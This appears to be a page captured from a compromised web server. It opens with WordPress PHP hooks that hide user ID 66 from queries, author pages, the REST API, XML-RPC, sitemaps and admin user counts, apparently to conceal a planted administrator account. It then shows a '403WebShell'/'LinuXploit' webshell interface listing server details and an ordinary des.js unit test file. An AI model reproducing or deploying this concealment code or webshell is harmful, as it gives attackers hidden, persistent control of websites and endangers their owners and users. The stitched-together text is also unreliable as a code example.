add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/jungly/node_modules/des.js/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/jungly/node_modules/des.js/test/utils-test.js
'use strict';

var assert = require('assert');

var des = require('../');
var utils = des.utils;

var fixtures = require('./fixtures');
var bin = fixtures.bin;

describe('utils', function() {
  describe('IP', function() {
    it('should permute properly', function() {
      var out = new Array(2);
      var inp = [
        bin('00000001 00100011 01000101 01100111'),
        bin('10001001 10101011 11001101 11101111')
      ];

      utils.ip(inp[0], inp[1], out, 0);

      var expected = [
        bin('11001100 00000000 11001100 11111111'),
        bin('11110000 10101010 11110000 10101010')
      ];

      assert.deepEqual(out, expected);
    });

    it('should rev-permute properly', function() {
      var out = new Array(2);
      var inp = [
        bin('11001100 00000000 11001100 11111111'),
        bin('11110000 10101010 11110000 10101010')
      ];

      utils.rip(inp[0], inp[1], out, 0);

      var expected = [
        bin('00000001 00100011 01000101 01100111'),
        bin('10001001 10101011 11001101 11101111')
      ];

      assert.deepEqual(out, expected);
    });
  });

  describe('PC1', function() {
    it('should permute properly', function() {
      var out = new Array(2);
      var inp = [
        bin('00010011 00110100 01010111 01111001'),
        bin('10011011 10111100 11011111 11110001')
      ];

      utils.pc1(inp[0], inp[1], out, 0);

      var expected = [
        bin('1111000 0110011 0010101 0101111'),
        bin('0101010 1011001 1001111 0001111')
      ];

      assert.deepEqual(out, expected);
    });
  });

  describe('r28shl', function() {
    it('should shl properly', function() {
      assert.equal(utils.r28shl(bin('1111000011001100101010101111'), 1),
                   bin('1110000110011001010101011111'));

      assert.equal(utils.r28shl(bin('0101010101100110011110001111'), 1),
                   bin('1010101011001100111100011110'));

      assert.equal(utils.r28shl(bin('1111000011001100101010101111'), 4),
                   bin('0000110011001010101011111111'));

      assert.equal(utils.r28shl(bin('0101010101100110011110001111'), 4),
                   bin('0101011001100111100011110101'));
    });
  });

  describe('PC2', function() {
    it('should permute properly', function() {
      var out = new Array(2);
      var inp = [
        bin('1110000 1100110 0101010 1011111'),
        bin('1010101 0110011 0011110 0011110')
      ];

      utils.pc2(inp[0], inp[1], out, 0);

      var expected = [
        bin('000110 110000 001011 101111'),
        bin('111111 000111 000001 110010')
      ];

      assert.deepEqual(out, expected);
    });
  });

  describe('readUInt32BE', function() {
    it('should read number properly', function() {
      var a = [ 0xde, 0xad, 0xbe, 0xef ];
      var o = utils.readUInt32BE(a, 0);
      assert.equal(o, 0xdeadbeef);
    });
  });

  describe('writeUInt32BE', function() {
    it('should read number properly', function() {
      var a = [ 0, 0, 0, 0 ];
      utils.writeUInt32BE(a, 0xdeadbeef, 0);
      var expected = [ 0xde, 0xad, 0xbe, 0xef ];
      assert.deepEqual(a, expected);
    });
  });

  describe('expand', function() {
    it('should expand', function() {
      var out = [ 0, 0 ];
      utils.expand(bin('1111 0000 1010 1010 1111 0000 1010 1010'), out, 0);
      var expected = [
        bin('011110 100001 010101 010101'),
        bin('011110 100001 010101 010101')
      ];
      assert.deepEqual(out, expected);
    });

    it('should expand with low 1', function() {
      var out = [ 0, 0 ];
      utils.expand(bin('1111 0000 1010 1010 1111 0000 1010 1011'), out, 0);
      var expected = [
        bin('111110 100001 010101 010101'),
        bin('011110 100001 010101 010111')
      ];
      assert.deepEqual(out, expected);
    });

    it('should expand with low 1', function() {
      var out = [ 0, 0 ];
      utils.expand(bin('10100010 01011100 00001011 11110100'), out, 0);
      var expected = [
        bin('010100 000100 001011 111000'),
        bin('000001 010111 111110 101001')
      ];
      assert.deepEqual(out, expected);
    });
  });

  describe('substitute', function() {
    it('should substitute', function() {
      var input = [
        bin('011000 010001 011110 111010'),
        bin('100001 100110 010100 100111')
      ];
      var output = utils.substitute(input[0], input[1]);
      assert.equal(output, bin('0101 1100 1000 0010 1011 0101 1001 0111'));
    });
  });

  describe('permute', function() {
    it('should permute', function() {
      var output = utils.permute(
          bin('0101 1100 1000 0010 1011 0101 1001 0111'));
      assert.equal(output, bin('0010 0011 0100 1010 1010 1001 1011 1011'));
    });
  });
});

Youez - 2016 - github.com/yon3zu
LinuXploit